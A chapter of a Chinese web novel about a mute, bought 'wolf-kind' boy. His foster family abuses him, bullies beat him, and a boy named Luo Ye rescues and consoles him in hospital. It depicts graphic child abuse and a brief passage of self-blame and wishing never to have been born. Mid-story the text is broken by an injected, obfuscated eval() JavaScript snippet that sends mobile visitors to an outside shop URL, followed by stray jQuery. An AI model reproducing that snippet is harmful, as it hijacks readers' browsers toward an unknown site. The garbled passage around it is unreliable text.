老板把找零的几枚硬币随手撂在木柜台上,叮叮当当滚了几圈才停下。白浪一枚枚捡起来,揣进裤子口袋。
老板似乎和女人很熟稔,抬头问女人:“这小白毛还有弟弟呢?我咋没见过?”
女人嗤笑一声,搁下手里的鱼食罐子:“你见得着才怪,一家子搬过来统共没几天。我也就上次打麻将的时候看见他妈去菜场,边上跟了个小孩,才知道他有弟弟。”
她指尖捻出一支烟,斜着眼打量白浪,目光沉沉压下来,像审讯室里聚光的探照灯,割得人浑身发僵。
白浪下意识缩了缩脖颈,想抽身离开,对方咬着烟卷再度开口:“不对啊,你妈是深褐色头发,怎么你一头白发?”
白浪怔怔望着她,两手慌乱比划手势。
老板瞧着费劲,扯过一张糙纸拍在柜面:“比划半天谁看得懂,写下来。
白浪整只手握住笔,歪歪扭扭地写下一句话,其中还有个错别字和一个拼音:【我借主的亲qi】
“借住的亲……戚。”女人点燃了香烟,烟雾徐徐飘向灯泡,“看你这个头也快上初中了吧,汉字写的比我儿子还差。果然啊~不是自己儿子就是不会疼。”
“白瞎了这张脸了,又是哑巴又是文盲。”老板听了也唏嘘一声。
白浪无法从他们两的眼神与语言中,分辨这是对他的心疼,还是对他的嘲讽。
他对两位大人点了下头,抱起塑料袋快步走出便利店。
踏入街面的一瞬,心底第一个念头照旧:他依旧讨厌冬天。
香秧这座城不比北方风雪凛冽,却有着浸骨的阴湿寒气。铅灰色天幕压得极低,风卷着细沙粒灌进领口。
深吸一口气,仿佛能冻掉半片肺叶。
此地像一处被时光遗弃的老旧渔村,人很少,很乱,杂物特别多。
大片楼宇圈起围挡,全是待拆迁的工地,打桩机轰鸣不断,“嘟嘟”声往复不休。
低矮民居歪歪扭扭挤作一团,电线纵横交错缠绕,织成一张蛛网。自行车、电瓶车胡乱挤占了整条盲道,乱糟糟堆成一片。
白浪路过一间早已搬空的铺面,门槛边斜靠着一面裂了豁口的落地镜。
镜中人长发垂至腰际,白发蓬松杂乱。脸颊略略向内凹陷,一双浅碧色眼眸幽幽沉沉,静静回望着自己。
身上毛线衣尺码不合身,松松垮垮垂到大腿,绒布长裤长长拖地,怀里还牢牢搂着一袋果冻。
难怪阿姨和叔叔一眼就看出他不受爸妈关注,看着确实挺脏乱。
白浪往下拉了拉衣服,继续往家的方向走。
走了几分钟,在他第二次看见同样的小广告单时,他确定自己迷路了。
白浪:“……”
也不能怪他。
正如那位阿姨说的,他们刚来不到一个月,家里人之前都在整理新家、给弟弟找学校。
今天好不容易休息了,他爸让他出来给弟弟跑腿,他也是左右绕路才找到这家便利店。
白浪找了家有电话机用的小菜馆,在门口比划半天。
服务员看不懂他在说什么,一直在猜:“你要干嘛?吃粉丝?啊,你要打电话?”
白浪猛地点头。
服务员面露迟疑,提醒他:“打一次电话要两块钱。
白浪从口袋里拿出刚刚找出来的零钱,堆在桌上也只有一块三。
窘迫涌上脸颊,他飞快比出一串手语,恳求对方通融几分。
服务员递来纸笔示意他书写,他歪歪扭扭写了上去。
“那不行诶,规定是两块钱,”服务员为难地说,“不然店长会说的。”
店内食客纷纷侧目,一道道视线落在身上。白浪耳尖烧得滚烫,垂着头准备转身离开。
就在这时,一道温和柔软的女声自头顶落下:“小朋友,你是想打电话吗?”
白浪骤然回身。
一位女士推着儿童小三轮车缓步走近。
她生得好看,眼尾微微上挑,一双碧绿色眼眸温润透亮,棕黄色卷发尽数拢进米白围巾里,外头裹着一件厚实的浅蓝棉服。
三轮车里坐着的小男孩,同样是棕黄卷发、碧色眼瞳,头顶扣着一顶缝了软猫耳的小帽子,裹着碎花小棉袄。
睁着圆溜溜的眼睛,一眨不眨望向他。
女人结清餐费,屈膝蹲下身,视线同他平齐,语声温软:“小朋友,你叫什么名字?阿姨帮你付吧。”
“他好像说不了话。”服务员帮他解释,“小朋友啊,纸和笔都送你了。”
白浪赶紧在纸上写了【射射阿yi。我叫白浪】
美貌阿姨蹙了蹙眉,目光细细描摹过他单薄的身形,轻声询问:“今年几岁了?”
白浪先是比出两根手指,旋即摇了摇头,改成三根。
“还没过生日是吧?所以现在是十二岁。”阿姨看懂了,嘀嘀咕咕地起来,“十二岁了还不会写字?”
白浪歪着头,茫然望向她。
“没事儿,”漂亮阿姨笑了,“你播一下你家里人的号码,我和他说。”
服务员把电话端过来,白浪拨了白志伟的电话。
漂亮阿姨接过听筒,慢慢地说:“喂你好啊,是白浪的家长吗?你们家孩子好像迷路了,他说不了话,我是帮他问地址的路人……嗯嗯,好,小朋友给你接电话。”
她把话筒递给白浪,白浪接过话筒。
听筒刚贴到耳畔,白志伟裹着酒气的怒骂,劈头盖脸砸过来,混着厉声斥责:“你怎么蠢成这副样子?丁点小事都办不明白!真是丢人丢到外头去了!”
白浪脑海里立时浮现出男人暴怒狰狞的模样,脊背控制不住地发颤,局促不安地看向身侧的阿姨。
漂亮阿姨递出两元钱,撑着收银台,微笑地看着他。
那抹柔和的笑意像一缕暖光,顷刻吹散他心头淤积的惶惑与烦闷。
他没仔细听白志伟的脏话,就听见了后面几句地址。
“快点滚回来知道吗?!尽在外面丢人显眼!”白志伟最后骂完一句,直接挂断了电话。
白浪放回话筒,在纸上写道:【知青小区】。
漂亮阿姨了然一笑,伸手替自家小家伙把歪掉的猫耳帽子扶正:“正巧顺路,我送你回去。”
一路上女人随口同他闲聊,白浪所有答复都一笔一画写在纸上。
两人拐过两条幽深小巷,周遭景致渐渐熟悉起来,踏上他认得的路段。
白浪侧头看向三轮车里的小不点,唇角浅浅弯起,手掌垫着纸面写道:【他长得像阿yi,很可ai】。
漂亮阿姨浅笑了几声:“大家都说他哥哥长得更像我,他像我老公。”
【他的哥哥呢?】
“元旦放假,他现在应该在和小伙伴在哪打游戏吧,”阿姨遮着脸颊,露出有些为难的表情,“哎呀,到时候又要补衣服了。”
【补衣服?】
“这附近经常会出现不听话的小孩子在那里欺负人。阿姨的儿子有点英雄主义,看不惯那些人,经常和他们打起来。所以有时候回来要么是这里破了,要么是那里破了,脸也脏兮兮的。”
阿姨的语气没有丝毫责备,在说起儿子会帮助同学时,轻哼了一声,看着很骄傲。
白浪不敢想要是自己衣服脏了,家里那两位会怎么打骂他。
……反正绝不会像这个阿姨一样。
“只是盼着他性子别太过急躁,能像你这般安稳内敛就好了。”她话音未落,轻轻咳了几声。
车上的小弟弟晃着小胖手,奶声奶气软糯嘟囔:“麻麻~哥哥又出去玩啦,我们什么时候回家呀?
“回去就能见到啦,我们先送这个哥哥回家,”漂亮阿姨摩挲儿子的帽子,笑着看向白浪,“我身体不好,断奶后都是他哥哥喂他喝奶粉的,边写作业边陪他,所以他最喜欢他哥哥了。下个月就是他两岁生日,他一直要哥哥那天不上学陪他过生日。”
【他才2岁?好耳总明,我弟弟两岁多才会兑几句话。】
白浪写道。
阿姨捏了捏小儿子的脸,眼神却黯淡许多:“对啊,他怎么能那么聪明呢……不该在我们家的。”
话音太轻,白浪只捕捉到零碎半句。
正要提笔追问缘由,女人抬手指向前方小区铁门,说:“小朋友,你家到啦。”
白浪望着熟悉的大门口,心底一沉,抿了抿嘴唇。
他好不舍得这位阿姨,阿姨真的很好,还问他冷不冷,送了他一个暖宝宝。
他两手空空,拿不出半点物件当作答谢,纸笔上写字邀约下次再会。
漂亮阿姨只是含笑摇头:“我帮你也是顺路,如果有缘再见,到时再谢吧。”
白浪怔怔颔首,阿姨抬手轻柔抚了抚他凌乱的白发,推着三轮车转身走远。
一人一车的背影转过巷口,很快消融在暮色深处。
白浪心神恍惚,一路琢磨下次该准备什么小礼物道谢,全然没留意自家房门已然向内敞开。
白志伟那张酩酊暴怒的脸赫然出现在门后,双目凶光毕露。
“你还知道回来?我看你根本就不想踏进门!”
男人满身浓重酒气扑面而来,一把攥住白浪的衣领,狠狠向内拖拽,猛地将他掼在客厅冰冷的水泥地面上。
他们租住的二手房本就没打算久居,不过五十来平,客厅没铺地砖,地面粗糙,家具陈设陈旧简陋。
白浪重重一摔,靠墙歪斜摆放的花盆跟着轻轻震颤了几下。
他神色漠然,撑着手臂缓缓从地上爬起,静静立在原地。
听见声响,跑来两个人。一个他弟,一个他妈。
矮胖的小男孩压根没多看摔倒在地的白浪一眼,弯腰捡起滚落一地的果冻,一屁股蜷进沙发,美滋滋拆开包装啃起来。
王丽丽拉着满是酒味的老公,狭长着眼睛说:“老公!你又喝酒了啊??干嘛那么凶啊~我们去里面睡觉……”
两人擦着白浪身侧往里走,房门一关,夫妻二人拌嘴的声响断断续续飘出来。
“叫你别喝那么多!真摔坏了怎么办?”
“早说不要了,非得多花钱,每个月多那么多钱,你赚啊?!”
……
细碎的争执入耳,白浪转身走进卫生间洗手。
等他走出洗手间,白琅翘着二郎腿倚在沙发上,随手一指,颐指气使:“去把我桌上的漫画拿过来。”
白浪低低应了一声,迈步走进白琅的房间。
这间小屋暖气开得十足,柔软小床、成套书柜、崭新书桌一应俱全,暖意融融。
自打搬来这里,只有白琅在家,全屋的空调才会挨个打开;但凡他去上学,他们只会留主卧一间制热。
不管是老家还是这里,十多年来都是如此。夫妻俩很宠白琅,白琅也明白他在家有多权威,养成了现在刁蛮任性的性格。
白浪拿起床上的漫画,轻轻带上门,递过去。
白琅翻了个白眼:“你买的什么味道的果冻啊?我都说了我不要青提的你是哑巴了又不是聋了。”
白浪用手比划:【你当时没说过。】
“我说了,”白琅哼了一声,“算了反正我今天不小心把碗打碎了,待会爸妈会找你来算账的。”
白浪心里咯噔跳了两下,没有再比划手语,走到餐桌这里随手看白琅没写完的作业。
白琅嗤笑一声:“小学五年级的题你看得懂吗?要不给你找本三年级的?”
白浪没回答,出神地抚摸上面的题目。
没过几分钟,王丽丽从卧室走了出来。
客厅白炽灯的光落在她身上,狭长的影子被灯光一点点缩短,一步步走到白浪跟前。
她伸手抚上白浪的头顶,耐心温和地说:“你别怪你爸。他一喝酒嘴上就没把。其实爸爸也是担心你,你看外面多冷啊,你穿那么少,到时候生病了怎么办?到时候外面的人看到了,说我们对你不好怎么办?”
白浪合上课本,点了点头,用手比划着:【有人问我了,我说我是你们的亲戚】
王丽丽看不懂手语,问宝贝儿子:“来给你哥翻译翻译。”
“烦死了。”白琅吃着果冻,不情不愿地走过来,“他说他跟别人解释,是我们的亲戚。”
王丽丽喜上眉梢,用带着一层面粉的手摸上白浪的脸,白浪下意识往后躲了一下。
王丽丽的嘴角一僵,很快又恢复情绪,说:“也可以,反正只要别说你们俩是一个爸妈就行。”
白浪点点头。
王丽丽露出和蔼的微笑,摸起白浪的头发,似乎很温柔地解释:“我也是为了你好。你也知道你爸在外头欠钱,多说多错。哪怕你真的不是爸妈的小孩,我们还是拿你当自己的小孩照顾的对吧,给你吃给你穿的,没亏待你吧。”
白浪木然点头。
她重新抬手揉了揉白浪蓬松杂乱的白发,句句都像在体贴:“还有睡觉的事,你也知道你弟弟睡觉浅,只能委屈你这段时间睡沙发了。等搬进大别墅了,肯定给你和弟弟最好的房间,行吧嗯?”
白浪静静望着她的眉眼,沉默几秒,终究还是轻轻点头。
“我就知道浪浪最懂事了。今天弟弟打碎了碗,但看在你表现那么好的份上,我和你爸商量了一下,我们就不打你了。你看,妈妈是不是很好啊,一直站在你这边的。”
王丽丽嘴角两边勾起同样弧度,像是笑僵了似得。
白浪目光落在她微微外凸的下巴假体上,再度默然点头。
王丽丽心满意足地直起身,牵起白琅的小手:“琅仔,我们去旁边玩,让你哥哥休息一会儿,待会就吃饭了。”
母子二人转身走进卧室,房门闭合。
客厅瞬间陷入死寂,老旧木家具轻微的开裂声都清晰可闻。
白浪原本扬起的笑容,瞬间拉下。
他心里清楚。什么多好,什么为他着想,全都是假的。
王丽丽不是温柔的人,她不过是夫妻唱红白脸的其中红脸而已。
在他六岁、弟弟出生第四年,无意间从亲戚漏风的嘴里得知了自己是买来的身份。
也知道,这家人本来想在弟弟出生后就把他丢了的。
但有亲戚提议留他到成年。
现在半兽人血库紧张,而狼种以强健的体魄出名。不如把他养好了,将来他们家有谁出现意外,他会心甘情愿地付出,不用再另外购买血包。
自此,他从一个“人”,成了他们家独有的“工具”。
为了防止他逃走,也不想再多支出一分学费,小学二年级之后,夫妻就给他办了休学。
当年的说辞,他还记得清清楚楚。
“我们都是为你好啊,你现在又说不了话。真要上学不得去特殊学校,那边都关着神经病,你到时候被欺负了怎么办?”
“现在学习没用的呀。你那堂哥不就是十几岁就出去打工了,现在不就是小老板吗?”
……
说着“学习无用”的夫妻,哪怕在逃欠债,哪怕在这片平民窟,也会想办法让他们亲生儿子去上学。
白浪早就发现了,但他没法戳穿这些人。
因为他们也确确实实对他好过,养他到现在,会给他买新的衣服,会为他做饭,会在过年的时候喊他一起放烟花。
他没法完全地爱他们,也无法完全地恨他们,更没有办法承认惺惺作态的他们是好父母。
他没办法反抗,他现在什么都做不到。
方才王丽丽触碰过的脸颊泛起一阵生理性不适,酸水不断上涌。
白浪踉跄扑到马桶边,止不住地干呕眩晕,一直吐到快吃饭了,才有人发现他的不对。
王丽丽端来一杯温水,假意问候两句,确认不用送医花钱,当即放下心来:“我说咱们浪浪身子骨结实,去医院反倒破坏自身免疫力,在家躺一晚就能好转。”
白浪强压下喉间的恶心,点头道谢。
屋内立刻传来白琅的喊声,催着王丽丽快点烧菜。
饭菜的香味飘满整家客厅,白浪没有胃口吃饭,大家也不催他,自顾自吃晚饭。
到了晚上,客厅的空调关了,陷入一片阴冷。
白浪蜷缩在沙发被窝里,意识如同坠入无边漩涡,眼皮越来越沉,终究缓缓闭上了眼。
翌日,他是被暴怒的吼声硬生生拽醒的。
朦胧间听见白志伟咆哮不休:“见鬼了!家里钱怎么平白少了?我明明把一百块压在桌面上了!”
紧跟着“啪”一声重拍桌面的脆响,白浪惺忪着双眼缓缓睁开,茫然四顾。
白志伟瞥见沙发上头发乱糟糟的白浪,积压的火气瞬间找到了宣泄口,大步冲上前,一把揪住他的衣领将人狠狠拽落在地。
攥紧扫把,目眦欲裂:“是不是你偷拿了?你个死玩意儿现在开始偷钱了?!”
白浪骤然清醒,慌忙抬手飞快比划手势,急着辩解。
【我没有!真不是我!】
“不是你还能是谁?难道是你妈吗?难道是白琅吗?”
白浪心知肚明,其实就是白琅。
他们每次去外头买东西,白琅都会把东西偷偷塞进包里,再暗戳戳地带出店里。
白浪几次想要告诉他们白琅好像偷东西有瘾了。
夫妻俩完全不听,以为他是嫉妒白琅所以污蔑他,打了他两顿,还不让他吃饭。
现在也是这样。
白志伟不肯翻看桌面角落,也不肯搜身核验,抡起扫把就狠狠劈了下来:“养出你这么个白眼狼,偷了东西还敢抵赖,今天非得好好教训你!”
白志伟打人偏爱攥着扫把杆中段。
实木杆身紧实厚重,挥起来风声簌簌,打人痛感足、声响也刺耳,越打越上头。
白浪狼狈趴在冰凉水泥地上,双臂死死护住后脑,脊背一下下挨着重击。
扫把杆边缘开裂,翘起细密倒刺,隔着单薄布料狠狠扎进皮肉,黏住衣衫,每动一下像是要勾起他的皮肉,疼得要命。
后背很快渗出温热的湿意。
他清楚,这是又流血了。
接连抽打数分钟,白志伟余怒未消,抬脚狠狠一脚踹在他腰侧。
剧痛席卷全身,白浪无力挣扎,只能蜷缩成一团散落在地,凌乱的白发被冷汗浸湿,黏在汗湿泛红的皮肤上。
他此刻像一头内脏被啃噬殆尽的螳螂,浑身骨头仿佛散了架,稍稍挪动一寸都痛得刺骨,连呼吸都得慢慢吐气。
视线模糊里,一双拖鞋从他身侧跨过,扫把被随意丢弃在地板上。
白志伟翻查他的衣兜,又掀开沙发被褥细细搜寻,末了拨通王丽丽的电话核对去向。
一番发泄过后,白志伟浑身筋骨舒展,长舒一口气坐回沙发:“老婆,你见过我放在桌上那一百块吗?”
“没有呀,你莫不是随手搁别的地方了?”王丽丽的声音隔着听筒传来,随即反问,“浪浪呢?”
“刚搜过他身上,这小子不敢瞒我。”白志伟漫不经心扫了眼蜷缩在地的人,点起一根香烟。
“你又打他了呀,诶呀,”王丽丽娇俏地停顿了一下,笑了起来,“那可能是琅仔要买东西嘛,顺手拿了呗,多大点事啊。”
白志伟挂断电话,静静抽完整支烟,才抬脚用鞋尖轻踢了踢一动不动的白浪:“行了,查清是琅仔拿的。都怪你说不了话,像以前那样解释多好啊?我看不到你比划了什么。”
地上的人没动静。
白志伟不耐烦地冷哼一声,从柜子里翻出一管膏药,随手丢在地板上:“装成这副半死不活的样子给谁看?下手又没多重,过两天不就好了?我要出去一趟,你妈回来前把这地方理好。”
脚步声踏踏远去,大门“砰”地一声重重合上。
客厅重归死寂。
白浪脊背贴着刺骨冰凉的水泥地,抬眼望向阳台外的白昼。
寒风顺着未关严的窗缝钻进来,满屋的阴郁寒气,浸透他的四肢百骸。
他在地上躺了十几分钟,慢慢起身。
脱下沾血的上衣,佝偻着身子,一步步挪进洗手间,对着镜子擦拭不断渗血的伤口,艰难地上药。
他处理好伤口,拖干净地上滴落的血迹,又搓洗干净染血的衣物。
旧伤尚未结痂,又添新痕,冷水一激,又痒又痛,两种折磨交织在一起,磨得他洗衣服时浑身发颤。
所以他讨厌冬天。
因为白志伟爱在冬天喝酒。
冬天被打的时候,寒气会一起进入身体,伤口愈合时会形成薄薄的冻疮,用针戳破后,血随着脓一起流下来,疼得整完睡不了觉。
下午两点,王丽丽回来了。
她立刻摆出慈母模样,亲手替他重新上药,嘴上不住数落白志伟脾气暴躁,不该动辄动手伤人。
“诶呀,不要乱打人呀,你这个毛病真的要改改了。又委屈浪浪了。”
“……”白志伟闷哼一声。
一场无端的打骂,几句轻飘飘的安抚,就这么草草翻篇。
每次都是这样。白浪已经习惯了。
此刻的他对这幕荒诞喜剧没想法,他只想快点养好伤,再去外面,说不定能遇到那位阿姨。
过了两天,他拿出自己珍藏的小零食,揣进兜里,忍着疼痛,兜兜转转地来到那家菜馆。
那个服务员看见了他,立马意识到他要找那个阿姨,跟他说:“她也不经常来嗒,可能一个礼拜来一趟吧,你要不下个礼拜再来?”
白浪打手势:【谢谢】
自那以后,只要能出门,他必定绕路来这家菜馆等候。
可每一次,服务员都摇摇头,说那位阿姨未曾现身。
一周,两周,一个月,两个月……
凛冬熬尽,春芽抽枝,转眼又踏入盛夏。
他往返无数次,再也没有见过那位阿姨。
他心底清楚人海茫茫,不再执着奢求相见。
只是当初走过的那条路,成了他外出时的必经之路。
那条路挨着一所中学,他最爱蹲在校门对面一栋废弃空屋的墙角。
静静听着上课铃、下课铃轮番响起,听喧闹的放学钟声荡开街巷。
落日熔金,暖融融的金光铺在校门牌匾上,成群学生穿着整齐干净的校服鱼贯涌出,眉眼间全是盼着暑假来临的雀跃欢喜。
白浪静静望着这一幕,悄然将自己代入其中。
说不定这群学生里还有阿姨的儿子,他们能一起学习,一起打游戏,一起聊哪张试卷特别难,哪张试卷特别简单。
无数个下午,他都靠着这场独属于自己的幻想消磨时光,赶在暮色四合之前回家。
日子枯燥又无聊地过去,来到了2012年,又是一个冬天。
香秧前一日落了场大雪,整座城市尽数裹在皑皑白雪,积雪约莫三厘米厚,天地一片素白。
“哥哥求你了跟我一起出去吧~”白琅从早上就缠着白□□他一起出去看雪。
白浪一愣,犹豫地不知道怎么回答。
“弟弟都跟你撒娇了,就出去陪他吧。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614550|197343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
王丽丽笑着说,给了白浪一条围巾,让他跟着白琅出门玩了。
白琅全副武装,围巾、手套裹得严严实实。
白浪的棉袄在昨天被白琅泼了汤,现在在家里挂着,所以他只穿了一件毛衣。
他跟在白琅的身后,兜兜转转,莫名其妙走到了一条巷子。
巷子深处站着几个和他年纪相仿的半大孩子,白浪骤然升起强烈的不安,感觉他们就是阿姨说的那些人。
他拉住白琅的衣服,比划:【我们从还有一条路走吧。】
白琅全然不理会他的阻拦,径直快步走上前,扬声冲着为首的大块头喊:“赵哥哥,人我给你带来了。
大块头看着十几岁,肚子却和白志伟差不多,在一众骷髅兵里显得很魁梧。
大块头盯着白浪,用口音的普通话问:“他说你能替他还钱?”
白浪一愣。
大块头接着说:“他前两天偷了我的手表,虽然还了,但还得赔我点精神损失费,不多,也就两三百吧。你钱拿来了吗?”
刹那间,白浪脸色血色尽褪,一片惨白。
他就说白琅往常都不爱和他走在一起,为什么突然要叫他一起出门。说是看雪,但一路快走,一点有没有对下雪的兴奋。
原来是为了找他来顶包啊。因为知道他不会丢下自己跑的,所以光明正大地出卖他。
太好笑了。
前两分钟他真的还在想他们要去哪里玩雪,和白琅搞好关系。
寒意蔓延开来,手脚冻得冰凉,白浪缓缓闭上双眼。
“赵哥哥我们实在没钱,但是……”白琅一把将他推向人群,“赵哥哥你不是说揍舒服了,也算勾销了吗?他是白狼种的,所以体质特别好,特别抗揍,我爸揍他过两天就好了。”
白琅到底是个小孩子,看到这些人还是怕的,声音都在哆嗦。
“你爸妈那边怎么说?”大块头问。
“说他被抓了打了就行了,我爸妈不管他的。”白琅回答。
“也行吧,谁让我性格好,”大块头冲他扬扬下巴,“你回去吧,他留下。”
白琅点头哈腰,心虚地不敢看白浪,头也不回地跑了。
后续的遭遇,白浪不愿再细细回想。
他被死死堵在巷角,密密麻麻的拳头轮番落在身上。
这群人怕脸上伤痕太过惹眼,专挑胸腹、腰腹这些衣物遮挡得住的地方下手。
有人趁他倒地蜷缩时,狠狠碾踹他的脚踝,刺骨剧痛席卷全身,他拼命摇头挣扎,十指死死抠进积雪里,指甲崩裂。
一滴滴鲜血滴在白雪,颜色鲜艳无比。
短短几分钟,却漫长得如同一整个世纪。
旧伤层层叠加新痛,剧痛扼住呼吸,他浑身僵硬,完全没有反抗的能力。
打爽了的大块头揪着他的白发,硬生生把人从雪地里拽起,打量着他的脸:“长的还挺帅,可惜是个哑巴。诶你说,我们要是把你打出声音了,你爸妈会不会感谢我们给我们钱啊?”
视线被血水模糊,他隐约瞥见对方脸上狰狞戏谑的笑意,意识彻底沉沦,眼前一黑,再无知觉。
“晕了?切没意思……”
“不过打爽了也挺好的,嘿嘿,那手表都不过二十块钱,讹那小鬼挺好玩的。”
……
那群人的声音渐渐走远。
白浪不知昏躺了多久,浑身皮肉滚烫灼烧,身子却轻飘飘的,恍惚间仿佛望见了巷子尽头的光亮。
他勉强动了动手指,一片雪花落在手背上,转瞬便消融成冰凉水渍。
朦胧间,焦急的呼喊声穿透风雪而来:“你怎么样!”
下一瞬,有人俯身将他抱在怀里,带着体温的围巾裹住他冻僵的身体,稍稍驱散了侵骨的寒意。
是谁呢?
谁的声音和雪一起落下呢?
白浪费力掀开眼皮,视线重影交错,看不清来人样貌。只知道对方身形不算高大,甚至比他还要瘦小一些。
他想抬手触碰,耳鸣轰鸣作响,再度陷入沉沉昏迷。
当他再次醒来时,看到的是医院吊瓶,再是盖在他身上的陌生围巾。
他抬起手臂,手臂上的伤做了多处消毒包扎,目前能灵活地行动了。
正挣扎着想起身呼唤护士,病房隔帘被人轻轻拉开,一个小男孩攥着缴费单据迈步走进来。
对视的那刻,两人都愣了。
白浪的眼睛稍微消肿了一点,看清男孩的长相。
男孩长得特别可爱……不,是俊俏。
黄棕色额前碎发,后脑发丝特意削薄一层;纤长睫毛浓密卷翘,碧绿色瞳眸澄澈透亮,左右脸颊各生一颗位置不对称的小痣。
唇角自然微微上翘,眉眼神态像只警觉又漂亮的小猫咪。
衣服也很干净利落。
唯一不足的是,他的脸上有明显的挫伤,似乎也被打了。
小男孩攥着单子走过来,像个小大人似的叉腰,声音清脆地问:“你没事了吧?能起来吗?”
白浪点了点头。
“你叫什么名字,给你家长打电话让他们来接你。”小男孩从口袋里摸出一部老旧翻盖手机,大大方方递到他手边,“你要是需要报警,我也能帮你拨号。”
白浪缓缓摇头。
就算真拨通了报警电话,那夫妻俩也借家丑不可外扬的说辞草草了结,最后挨骂挨打的,依旧只有他一个。
白浪对男孩比手势:【你救了我吗?】
男孩歪头看他:“你不会说话啊?啧,早知道带芃芃出来翻译了。你等着,我去借张纸。”
白浪看着小男孩跑出去,很快又回来了,手里多了纸和笔。
“我经常来这里,跟医生们都挺熟的了,你有什么不知道的可以问我。”小男孩坐在床边,在他后面垫着枕头,让白浪坐起来了,“你怎么会在那?你爸妈呢?你怎么会被打的?”
白浪没有全部回答,写了几句“被这里的小混混打了”、“爸妈在家”等等……其中有几个错别字,但不影响阅读。
他写下一串号码,小男孩接过手机,帮着拨通,通知他的家人赶来医院。
等候家属的间隙,医生过来复查伤势,满是诧异。
按照常理来说,普通小孩被打成这样得躺个十多天才能下床走路,但这个小白毛现在就可以下床走路了。
医生再做检查,跟小男孩说没什么大问题,如果真要深度检测的话,还得去拍片子。
医生走后,小男孩眼睛一亮,高兴地说:“哥们可以啊,身体这么好,平时吃什么?怎么练的?”
白浪不知所措摆手,在上面写道:【给你tian麻火页了。】
小男孩耸耸肩:“没事啊,反正我也要来医院,正好顺路。”
【你一个人把我ban到这里来的吗?】
“对啊,不然还能是谁?”小男孩展示自己的肌肉。
【xiexie你,你叫什么名字?】
“骆野。”小男孩拿过他的笔,在纸上端端正正地写上名字,“野是野火烧不尽,春风吹又生的野。”
白浪学过这首诗,也很喜欢这个名字。
他在纸上写道:【名字真好听。】
两人就靠着一纸一笔一问一答,毛茸茸的两个脑袋贴在一起,安安静静聊了许久。
白浪悄悄抬眼打量身旁的骆野,这人笑起来眉眼弯成软弧,单侧嘴角轻轻向上挑着。
笑点极低,随手写一句谐音小梗,自己能先笑起来。手因为救了他,在雪地里扒拉很久,冻的有点发红,但他毫不在意,潇洒的像个侠客。
性子鲜活坦荡,很讨人亲近。
白浪好久没和同龄人聊的这么开心了,忍不住在纸上写道:【xiexie你愿意陪我liao天】
骆野害羞地挠了挠淤青的下巴,吃痛一声,调皮地眨了下眼睛:“你上药的时候很痛吧?我想给你打麻药来的,医生说不用打就算了。我看你身上不只有这一些伤,以前也有伤啊。”
“嗯。”白浪点了点头。
“也是被他们打的吗?”骆野问。
白浪摇摇头。
笔尖悬在纸面上,一行字刚起了个头:【如果我早点发现……】
白浪骤然停住笔锋。
就算早点察觉,又能改变什么?
如果他早一点发现,他就不会被打。不,如果他早一点告诉他们,自己已经知道他们的虚情假意……也不可以,
如果再早一点,早到他从来没有来过这个世上就好了。是不是就不用那么痛苦,不用经历这一切呢?
现在连写字的手都发疼,疼得笔尖摇摆不定。
他一遍又一遍用力涂抹那行未完的字句,往复勾画,直到纸张被笔尖戳得破烂穿孔。
积压许久的迷茫、委屈翻涌而上,再也按捺不住,抬手一把撕碎整张纸,肩头不住发抖。
周身每一道旧伤新痕一齐作痛,五脏六腑都跟着抽紧。
凭什么偏偏是他?凭什么日复一日承受苛待?活着究竟还要熬到什么时候?为什么……为什么他要被这样对待?为什么他要一直那么痛苦地活着?
可能真是他的问题吧?
他没有按照家里人期望的那么活着,对美好的生活有了非分之想,所以白琅才来惩罚他,白志伟看不惯他。
因为他的发色和他们不一样?那回去的时候就去染同样的颜色吧。他们想要他做什么那就做什么,这样会不会好一点呢?
都怪他……都怪他有了不该有的私心,忘了他本来就不是一家人……都怪他……
耳鸣轰然炸开,耳畔嗡嗡作响,呼吸急促得快要窒息。
他死死攥紧身下床单,浑身蜷缩成团,痛苦地闭上眼睛。
就在这一刻,他落入了一个温暖的拥抱。
白浪整个人骤然僵住。
骆野环抱他的肩膀,耳边落下来骆野轻柔的嗓音:“别再想了,别一遍遍回想那些伤人的旧事。这不是你的错,从头到尾,都不是你的问题。”
后背被一下下轻柔拍打安抚,温声劝慰源源不断漫入耳畔。
“我不知道你经历了什么,倒是,千万不要放弃自己,千万不要。他们的错,等你长大后让他们去偿还。”
“不要做伤害自己的事,好好养伤,好好地吃饭,没有过不去的坎,知道吗?”
……
周遭纷乱思绪慢慢沉淀,只剩下骆野一人的声音清晰留存。
白浪借着对方的肩头望向窗外,鹅毛大雪依旧飘飘扬扬,无休无止。
好讨厌的冬天。
……好温暖的拥抱。
他以为自己能够忍受一切。
可当温暖的体温紧紧包裹住他的瞬间,如同软化的剑骨,只剩下了软塌塌的剑穗。
他为自己的心绪一层层筑起高墙,死死封闭自我,可此刻温和的宽慰,让垒起的心防轰然坍塌。
他的视线渐渐模糊,眼眶酸胀潮热,鼻尖酸涩难忍,心急促地跳动。
白浪再也压抑不住自己的委屈,深深埋进骆野的颈窝,攥紧对方的外套衣襟,积攒了无数日夜的泪水汹涌滚落。
“呜呜呜……”
他发不出哭声,只有细碎压抑的呜咽,轻轻回荡在空旷的病房里。
往后岁月悠长,他再回想起这天,依旧明白这不是拥抱,而是打捞。
在他沉入永恒的冰河之前,骆野徒手捞起了他。
从此,他的每一次心跳,都是那场营救的余波。